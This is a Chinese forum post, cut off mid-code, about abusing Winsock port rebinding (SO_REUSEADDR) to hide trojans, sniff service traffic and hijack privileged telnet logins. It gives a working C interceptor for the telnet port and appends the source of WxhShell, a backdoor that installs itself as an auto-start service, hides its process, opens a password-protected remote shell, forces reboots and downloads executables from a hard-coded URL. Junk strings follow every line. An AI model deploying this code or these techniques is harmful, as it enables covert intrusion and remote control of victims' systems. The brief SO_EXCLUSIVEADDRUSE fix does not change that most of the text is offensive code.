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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fH`P[^N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h5%<+D<  
O ,rwP  
  saddr.sin_family = AF_INET; n55Pv3}C  
6:GTD$Uz.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); />¬$>  
#_lt~^ 6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4c oJRqf=  
U~h'*nV&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xq-17HKs  
3G.5724,  
  这意味着什么?意味着可以进行如下的攻击: :tIC~GG]_)  
IDkWGh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U4m9e|/H;z  
p raaY}}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Um1[sMc{au  
7g R@$(1Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xe7O/',pa=  
!d<"nx[2`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \V9Z #>  
^w]/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S3L~~X/=  
R@Gq)P9?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1;Pv0&[q/  
T+N|R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [M.f-x:  
k >t )g-,2  
  #include "ZTTg>r  
  #include | 8qBm  
  #include )o\jJrVDf  
  #include    'V8N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +?p.?I  
  int main() 4w#``UY)'  
  { 3 ?Y|  
  WORD wVersionRequested; XU+<?%u}z  
  DWORD ret; vG \a1H  
  WSADATA wsaData; f;}EhG'  
  BOOL val; !"e5~7  
  SOCKADDR_IN saddr; \~LQ%OM  
  SOCKADDR_IN scaddr; G^q3Z#P  
  int err; gM [w1^lj  
  SOCKET s; m*$|GW9  
  SOCKET sc; 5{n*"88  
  int caddsize; 5K|"\  
  HANDLE mt; 2e$w?W0^  
  DWORD tid;   P"<U6zM\sP  
  wVersionRequested = MAKEWORD( 2, 2 ); Ou{v/'9z,  
  err = WSAStartup( wVersionRequested, &wsaData ); -s6![eV  
  if ( err != 0 ) { aR\\<due  
  printf("error!WSAStartup failed!\n"); L`th7d"  
  return -1; odg<q$34  
  } b T 2a40ul  
  saddr.sin_family = AF_INET; upeU52@\  
   C7H/N<VAq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DJP2IP  
-hkQ2[Ew#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [:^-m8QC  
  saddr.sin_port = htons(23); K |DWu8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 88c<:fK  
  { $lhC{&tBV  
  printf("error!socket failed!\n"); 7LO%#No",  
  return -1; C/(M"j M  
  } z>w`ZD}XY  
  val = TRUE; N)&4Hy  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >DPB!XA3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OgF+O S  
  { w '3#&k+  
  printf("error!setsockopt failed!\n"); gKOOHUCb  
  return -1; ,;M4jc {  
  } !"+'A)Nve  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iS5W>1]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {QCf}@_]h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *6 _tQ9G  
"zIFxDR#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T97]P-}  
  { P>9aI/d9  
  ret=GetLastError(); h^j?01*Et  
  printf("error!bind failed!\n"); JWA@+u*k  
  return -1; `# sTmC)  
  } F4Y @ B  
  listen(s,2); ",{ibh)g$`  
  while(1) o[E_Ge}g8  
  { <(vCiH9~P  
  caddsize = sizeof(scaddr); Q:ezifQ  
  //接受连接请求 1xv8gC:6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `GXkF:f=  
  if(sc!=INVALID_SOCKET) vSonkJ_  
  { &i!vd/*WlD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @y31NH(  
  if(mt==NULL) waKT{5k  
  { $ "Bh]-  
  printf("Thread Creat Failed!\n"); pHoEa7:  
  break; (|wz7 AY2  
  } R0oKbs{  
  } :{(w3<i  
  CloseHandle(mt); $<ld3[l i  
  } f<A5?eKw  
  closesocket(s); .Vq)zi1<  
  WSACleanup(); ]tY ^0a  
  return 0; Dde]I_f}  
  }   r=c<--_@  
  DWORD WINAPI ClientThread(LPVOID lpParam) N25V ]  
  { ;;A2!w{}[i  
  SOCKET ss = (SOCKET)lpParam; 97)/"i e  
  SOCKET sc; m[k_>e\ u  
  unsigned char buf[4096]; 85;b9k&\M  
  SOCKADDR_IN saddr; ?'"X"@r5  
  long num; 9;xM%  
  DWORD val; TNJG#8n%Y  
  DWORD ret; N?X~w <  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |pa$*/!NT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uytE^  
  saddr.sin_family = AF_INET; @,XSs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k? Xc  
  saddr.sin_port = htons(23); 3OM2Y_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +{]xtQB=,{  
  { H~ u[3LQz  
  printf("error!socket failed!\n"); 6=N`wi  
  return -1; :rP#I#,7w  
  } a6kV!,.U  
  val = 100; <'G~8tA%v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xv@SxS-5l  
  { TY(bPq  
  ret = GetLastError(); r]ShZBAbYp  
  return -1; U.{l;EL:T  
  } Ma| qHg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I}2P>)K  
  { P9T5L<5  
  ret = GetLastError(); .Yw'oYnS  
  return -1; F]O$(7*  
  } ZtHm\VTS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fh^lO ^  
  { E\;ikX&1  
  printf("error!socket connect failed!\n"); +/D>|loRC  
  closesocket(sc); >3u ]OSb  
  closesocket(ss); Dz./w  
  return -1; N$[$;Fm:  
  } k=GG>]<i  
  while(1) 9C t`  
  { ud fe  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ddVa.0Z!<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G^"Vo x4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KN"S?i]X  
  num = recv(ss,buf,4096,0); eiJ2NwR\w  
  if(num>0) wM_c48|d  
  send(sc,buf,num,0); hXGwP4  
  else if(num==0) <)*2LBF@]  
  break; *-s,. F+c  
  num = recv(sc,buf,4096,0); OiDhJ  
  if(num>0) (Z5##dS3  
  send(ss,buf,num,0); @E.k/G!~Nb  
  else if(num==0) 1 y}2+Kk  
  break; ! Q<>3 xZ  
  } 5<L_|d)0"  
  closesocket(ss); |y20Hi':  
  closesocket(sc); m5G\}8|  
  return 0 ; 2 &Nb  
  } Q%aU42?_1  
!.1%}4@Q]  
XYoIFv?'  
========================================================== :fk2]{KTL  
6WoAs)ZF  
下边附上一个代码,,WXhSHELL 7*DMVok:  
1}ZKc=Pfu  
========================================================== (6v (9p  
Yl;^ k0ZI  
#include "stdafx.h" w;v7_  
d*pF>j  
#include <stdio.h> wB>r (xQ'  
#include <string.h> 9z?oB&5  
#include <windows.h> P6,7]6bp  
#include <winsock2.h> j]0^y}5f+s  
#include <winsvc.h> [Pe#kzLX  
#include <urlmon.h> | nJZie8m  
7kKy\W  
#pragma comment (lib, "Ws2_32.lib") L}#0I+Ml7  
#pragma comment (lib, "urlmon.lib") )rLMIk  
u9=SpgB#  
#define MAX_USER   100 // 最大客户端连接数 f`>/ H!<2  
#define BUF_SOCK   200 // sock buffer #GaxZ  
#define KEY_BUFF   255 // 输入 buffer LflFe@2  
<\zCpkZ'B  
#define REBOOT     0   // 重启 ZtVAEIZ)  
#define SHUTDOWN   1   // 关机 y$hp@m'@C  
midsnG+jnf  
#define DEF_PORT   5000 // 监听端口 p1c3Q$>i  
>MJ?g-  
#define REG_LEN     16   // 注册表键长度 KNgH|5Pb  
#define SVC_LEN     80   // NT服务名长度 EliTFxp  
|_u8mV  
// 从dll定义API \8O O)98'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -)!> M>=s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]aCk_*U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l!E7A Kk8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;DnUQj  
G= ^X1+_  
// wxhshell配置信息 ,a?\M M9$  
struct WSCFG { d +iR/Ssc  
  int ws_port;         // 监听端口 /9y aW7w  
  char ws_passstr[REG_LEN]; // 口令 S'~o,`xy  
  int ws_autoins;       // 安装标记, 1=yes 0=no +D#Zn!P  
  char ws_regname[REG_LEN]; // 注册表键名 8&"(WuZ@  
  char ws_svcname[REG_LEN]; // 服务名 ;jK#[*y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z<gu00U7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  t4Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O?EB8RB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q '(ihUq*k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +&KQ28r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bshGS8O  
weMww,:^[  
}; HEqWoV]{d  
K7I&sS^x  
// default Wxhshell configuration 04!(okubyp  
struct WSCFG wscfg={DEF_PORT, 7:=5"ScV  
    "xuhuanlingzhe", 0e["]Tlnm  
    1, l6[lJ0Y  
    "Wxhshell", \F,DA"K_  
    "Wxhshell", y%]8'q$  
            "WxhShell Service", a=GM[{og  
    "Wrsky Windows CmdShell Service", "%8A :^1  
    "Please Input Your Password: ", B6Ej{q^k,  
  1, ~fz[x9\  
  "http://www.wrsky.com/wxhshell.exe", $N$ FtpB  
  "Wxhshell.exe" 1-I Swd'u  
    }; l^NC]t  
vjViX<#(V  
// 消息定义模块 puJ#w1!x`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !/K8xD$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :<#`_K~'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gM;}#>6  
char *msg_ws_ext="\n\rExit."; XM Vq-8B0  
char *msg_ws_end="\n\rQuit."; 09M;}4ev&7  
char *msg_ws_boot="\n\rReboot..."; o7&4G$FX~  
char *msg_ws_poff="\n\rShutdown..."; Bd bJ< Is  
char *msg_ws_down="\n\rSave to "; %>Xr5<$:&  
-U2mfW  
char *msg_ws_err="\n\rErr!"; sPNfbCOz  
char *msg_ws_ok="\n\rOK!"; 47 u@4"M  
E(<LvMiCa  
char ExeFile[MAX_PATH]; +V v+K(lh$  
int nUser = 0; ZeasYSo4P  
HANDLE handles[MAX_USER]; $7I] `Jt  
int OsIsNt; _8K%`6!"Z  
9Z\z96O-  
SERVICE_STATUS       serviceStatus; A,~Hlw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )Du -_Z  
.&,[,  
// 函数声明 `NwdbKX  
int Install(void); juToO  
int Uninstall(void); w5]"ga>Y  
int DownloadFile(char *sURL, SOCKET wsh); E(+T*  
int Boot(int flag); )&W|QH=AI  
void HideProc(void); ^>~dlS  
int GetOsVer(void); !^U6Z@&/R  
int Wxhshell(SOCKET wsl); 7INk_2  
void TalkWithClient(void *cs); >3;^l/2c  
int CmdShell(SOCKET sock); &J"YsY  
int StartFromService(void); %/0gWG  
int StartWxhshell(LPSTR lpCmdLine); 2]jPv0u  
6X+}>qy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 67<CbQZoN3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J;~|p h  
(b/d0HCND  
// 数据结构和表定义 MM#cLw  
SERVICE_TABLE_ENTRY DispatchTable[] = ` DCU>bt&R  
{  0V11#   
{wscfg.ws_svcname, NTServiceMain}, >?XbU}  
{NULL, NULL} % mn />  
}; rFag@Z"["  
#!!AbuhzK{  
// 自我安装 >.dHt\  
int Install(void) 4E"d/  
{ ='/Z;3jt]x  
  char svExeFile[MAX_PATH]; {V2bU}5 [  
  HKEY key; !Cj(A"uqY  
  strcpy(svExeFile,ExeFile); }6~)bLzI}  
M1=_^f=&.  
// 如果是win9x系统,修改注册表设为自启动 |i)lh_iN  
if(!OsIsNt) { 5 Rz/Ri\c=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <A~GW 'HB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZL91m`r  
  RegCloseKey(key); ,zgNE*{Y"4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uIP iM8(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cIw eBDl  
  RegCloseKey(key); ;bHfn-X  
  return 0; oXc/#{NC  
    } j8 H Oc(  
  } ?M&4pO&Y  
} wkT;a&_  
else { 4: sl(r  
{ vfq  
// 如果是NT以上系统,安装为系统服务 `mErF%b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); huAyjo  
if (schSCManager!=0) \y*j4 0  
{ vj3isI4lU  
  SC_HANDLE schService = CreateService N~g%wf@w  
  ( ?:}Pa<D&K  
  schSCManager, SMq9j,k  
  wscfg.ws_svcname, qc0 B<,x7  
  wscfg.ws_svcdisp, atnQC  
  SERVICE_ALL_ACCESS, R#0{Wg0O)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,+-?Zv 2  
  SERVICE_AUTO_START, oeN zHp_  
  SERVICE_ERROR_NORMAL, aW`dFitpM  
  svExeFile, B T7Id  
  NULL, Qq0O0U  
  NULL, E/"SU*Co  
  NULL, `` -k{C#F  
  NULL, ^g]xU1] *  
  NULL =x4a~=HX  
  ); 9-- dRTG  
  if (schService!=0) b?k4InXh  
  { a%n'%*0  
  CloseServiceHandle(schService); PPgW ^gj  
  CloseServiceHandle(schSCManager); >ITEd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nO_!:6o".  
  strcat(svExeFile,wscfg.ws_svcname); }N|\   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5Bd(>'ig_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6^ik|k|  
  RegCloseKey(key); DQ5W6W  
  return 0; <3Fz>}V32  
    } Q [:<S/w  
  } R9=K(pOT  
  CloseServiceHandle(schSCManager); e`ex]py<C  
} !w=,p.?V=  
} .Cfp'u%\;  
#11RLvDQd  
return 1; $NCm;0\B|  
} k#jm7 +  
Cgo XZX  
// 自我卸载 86{ZFtv  
int Uninstall(void) ~>w:;M=sV8  
{ BK*UR+,  
  HKEY key; O9;dd yx  
qvN"1=nJ  
if(!OsIsNt) { paYz[Xq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^?sSx!:bZ  
  RegDeleteValue(key,wscfg.ws_regname); V g6S/-  
  RegCloseKey(key); !=knppY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @SQceQfB  
  RegDeleteValue(key,wscfg.ws_regname); R_9 o!s TZ  
  RegCloseKey(key); =SL^>HS.fo  
  return 0; S| "TP\o  
  } GDmv0V$6  
} Cn/q=  
} 7yUvL8p-  
else { * 2%oZX F  
[U']kt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bQpoXs0w;  
if (schSCManager!=0) #8&#E?^d  
{ /=- h:0{M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8'% +G  
  if (schService!=0) "Y(%oJS]D  
  { m>O2t-  
  if(DeleteService(schService)!=0) { ZZwBOGVU  
  CloseServiceHandle(schService); T"B8;|  
  CloseServiceHandle(schSCManager); sOC| B  
  return 0; p Mh++H]"  
  } )=Y-f?o!  
  CloseServiceHandle(schService); G "c/a8  
  } R{ 4u|A?9  
  CloseServiceHandle(schSCManager); T#/11M$uQ  
} AD,@,|A  
} 4NI ' (#l  
_&=9Ke  
return 1; ?9qAe  
} 65t[vi*C  
Ul9b.`6  
// 从指定url下载文件 =3pD:L  
int DownloadFile(char *sURL, SOCKET wsh) Lm.Ik}Gli  
{ P1e5uJkd  
  HRESULT hr; ~"\P~cg0J  
char seps[]= "/"; .;j"+Ef   
char *token; y "<JE<X  
char *file; }Uq/kei^P  
char myURL[MAX_PATH]; ![j(o!6&  
char myFILE[MAX_PATH]; |:}L<9Sq  
0x6@{0  
strcpy(myURL,sURL); }:"R-s  
  token=strtok(myURL,seps); ELD +:b  
  while(token!=NULL) P0Aas)!  
  { 83X/"2-K  
    file=token; ,qYf#fU#7  
  token=strtok(NULL,seps); ={OCa1  
  } KM EXT$p  
gMCy$+?  
GetCurrentDirectory(MAX_PATH,myFILE); a3*.,%d  
strcat(myFILE, "\\"); _5Bu [I  
strcat(myFILE, file); <)"iL4 kDI  
  send(wsh,myFILE,strlen(myFILE),0); )~G8 LZ  
send(wsh,"...",3,0); NCp%sGBmG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x9 TuweG  
  if(hr==S_OK) ~LSy7$rz  
return 0; YqkA&qL]#;  
else @RQ+JYQi  
return 1; :E}6S  
&(GopWR`e  
} 8 `yB  
v)TUg0U=,  
// 系统电源模块  $.=5e3  
int Boot(int flag) &C\=!r0j^  
{ ;%M2x5  
  HANDLE hToken; [ +yGDMLs  
  TOKEN_PRIVILEGES tkp; ,CN#co  
?#x'_2  
  if(OsIsNt) { wbo{JQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bc5YW-QD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3@%BA(M  
    tkp.PrivilegeCount = 1; pFG]IM7o/u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6 bYC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5Gc_LI&v7  
if(flag==REBOOT) { F%9e@{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lrq>TJEcx  
  return 0; (q0No26;(  
} 3#7ENV`  
else { {-~05,zE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }3LBbG0Bw  
  return 0; -Cg`x=G;z  
} N;e}dwh&  
  } /vMQF+  
  else { jo]m1 2ps  
if(flag==REBOOT) { )j$b9ZBk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p|xs|O6{  
  return 0; wV7@D[8  
} ': 5Trx  
else { xn0s`I[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 't||F1X~J  
  return 0; >|y>e{P  
} F0X5dv  
} &h98.A*&  
8') .o hD  
return 1; U]+b` m  
} GG@iKL V  
sDW"j\  
// win9x进程隐藏模块 $1:}(nO,  
void HideProc(void) 9[6G8;<D&  
{ Krt$=:m|1  
f>.` xC{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v)wY  
  if ( hKernel != NULL ) &\CJg'D:m  
  { TsoCW]h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [i2A{(x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V,99N'o~x  
    FreeLibrary(hKernel); ;P 0,60  
  } yaCd4KP  
l"2^S6vU  
return; EOMuqP)  
} O7Y P_<,#  
tg4LE?nv  
// 获取操作系统版本 Tw`F?i~  
int GetOsVer(void) H8(0. IR  
{ TyxU6<>4J4  
  OSVERSIONINFO winfo; 9;;]q?*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,(1vEE[9-  
  GetVersionEx(&winfo); (,d4"C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v9X7-GJ~  
  return 1; `</=AY>  
  else C}dKbs^g|  
  return 0; _stI?fz*4k  
} G_4K+ -K  
#"3[f@|e  
// 客户端句柄模块 ,n /SDEL  
int Wxhshell(SOCKET wsl) A52LH,  
{ [XA&&EcU  
  SOCKET wsh; %OezaNOtm  
  struct sockaddr_in client; duZ|mT8Q==  
  DWORD myID; )3D+gu  
U]`'GM/x  
  while(nUser<MAX_USER) `2 %eDFZ  
{ ox i a}  
  int nSize=sizeof(client); gNMKGf\Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s0X/1Cq  
  if(wsh==INVALID_SOCKET) return 1; HM(bR"E  
MbT ONt?~v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [="g|/M)  
if(handles[nUser]==0) W07-JHV%  
  closesocket(wsh); B` t6H  
else 8gu'dG=  
  nUser++; 02]8|B(E90  
  } Fyi?,,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PU]7c2.y  
5p#o1I  
  return 0; iZDb.9@&t  
} !>a&`j2:W  
 8o%<.]   
// 关闭 socket df21t^0/  
void CloseIt(SOCKET wsh) t ?Njw7  
{ *Dd(+NI  
closesocket(wsh); ]*kP>  
nUser--; pUCEYR  
ExitThread(0); ^^t]vojX  
} 82^ z -t{  
MIk #60Ab  
// 客户端请求句柄 |)|vG_  
void TalkWithClient(void *cs) ^6N3 nkyZ  
{ &kr_CP:;  
uJ) \P  
  SOCKET wsh=(SOCKET)cs; ^>vO5Ho.  
  char pwd[SVC_LEN]; $h|I7`  
  char cmd[KEY_BUFF]; 9:}RlL+cOk  
char chr[1]; 1A)wbH)  
int i,j; 0s+rd&  
8`rAE_n`%  
  while (nUser < MAX_USER) { ino7!T`  
5sA>O2Rt>  
if(wscfg.ws_passstr) { H;b'"./  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P}.yEta  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]/<Qn-BbU  
  //ZeroMemory(pwd,KEY_BUFF); y$r?t0  
      i=0; G}9bC r,  
  while(i<SVC_LEN) { Zo}\gg3  
(Ay4B*|!  
  // 设置超时 g O\f:Pg  
  fd_set FdRead; |aOnV,}  
  struct timeval TimeOut; +i q+  
  FD_ZERO(&FdRead); bCY^.S-  
  FD_SET(wsh,&FdRead); .eDxIWW+ft  
  TimeOut.tv_sec=8; JUaKj@a|  
  TimeOut.tv_usec=0; r,Y/4(.c7U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +^]PBMM1w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U(Hq4D  
}~Kyw7?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wzLiVe-  
  pwd=chr[0]; &s6(3k  
  if(chr[0]==0xd || chr[0]==0xa) { (-G(^Tn  
  pwd=0; j .yr 5%  
  break; A]~iuUHm  
  } l66ipgw_^I  
  i++; no\}aTx  
    } ;>QK}#'  
WkU) I2oH  
  // 如果是非法用户,关闭 socket Tr}$Pb1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NNREt:+kr  
} g^<q L|  
ke;*uS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *{D:1S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]= QCCC  
+_|cZlQ&  
while(1) { H$qdU!c  
[#3Cg%V  
  ZeroMemory(cmd,KEY_BUFF); ~:RDw<PWp  
mG8  
      // 自动支持客户端 telnet标准    qzU2H  
  j=0; M@LaD 5  
  while(j<KEY_BUFF) { N- ?|]4e/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4[f7X4d$  
  cmd[j]=chr[0]; o"+ &^  
  if(chr[0]==0xa || chr[0]==0xd) { WY. \<$7  
  cmd[j]=0; l.NkS   
  break; |2t7mat  
  } 7+Jma!o  
  j++; 2M( PH]D  
    } BoiIr[ (  
kvO`]>#;$?  
  // 下载文件 %N_S/V0`  
  if(strstr(cmd,"http://")) { c402pj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); oe_[h]Hgl  
  if(DownloadFile(cmd,wsh)) 5KPPZmO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;(iUY/ h[h  
  else ^$s~qQQ}B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F# 37Qv  
  } *mhw5Z=!  
  else { Uub%s`O  
g J[q {b  
    switch(cmd[0]) { 'r?HL;,q  
  kk\zZC <  
  // 帮助 9Nbg@5(  
  case '?': { TAXkfj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |9i/)LRXe  
    break; Z_4H2HseL  
  } uRq#pYn@  
  // 安装 0 c'2rx  
  case 'i': { s? \9i6  
    if(Install()) fOjt` ~ToI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d\<aJOi+-  
    else #/sE{jm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 17[t_T&Ak9  
    break; M0IqQM57N  
    } >fzzrD}]  
  // 卸载 kFZu/HRI  
  case 'r': { >zx50e)  
    if(Uninstall()) u.K'"-xt4K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'FA)LuAok  
    else . eag84_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eRqexqO!  
    break; ,["|wqM  
    } d~1"{WPSn  
  // 显示 wxhshell 所在路径 'N,NG$G2  
  case 'p': { 6Oqnb+  
    char svExeFile[MAX_PATH]; {c EK z\RX  
    strcpy(svExeFile,"\n\r"); mM^8YL  
      strcat(svExeFile,ExeFile); 9C'+~<l  
        send(wsh,svExeFile,strlen(svExeFile),0); H=SMDj)s+  
    break; :x5o3xE  
    } Pv$"DEXA2  
  // 重启 6g,3s?aT  
  case 'b': { 8{=( #]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WMz|FFKVY  
    if(Boot(REBOOT)) 1B]wSvP@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d.(]V2X.J  
    else { >U Ich  
    closesocket(wsh); ~Wd8>a{w  
    ExitThread(0); hD.wKX?oO  
    } ?j$8Uy$$  
    break; ump:dL5{  
    } 8\t7}8f  
  // 关机 M #Ru I%  
  case 'd': {  ~9jP++&  
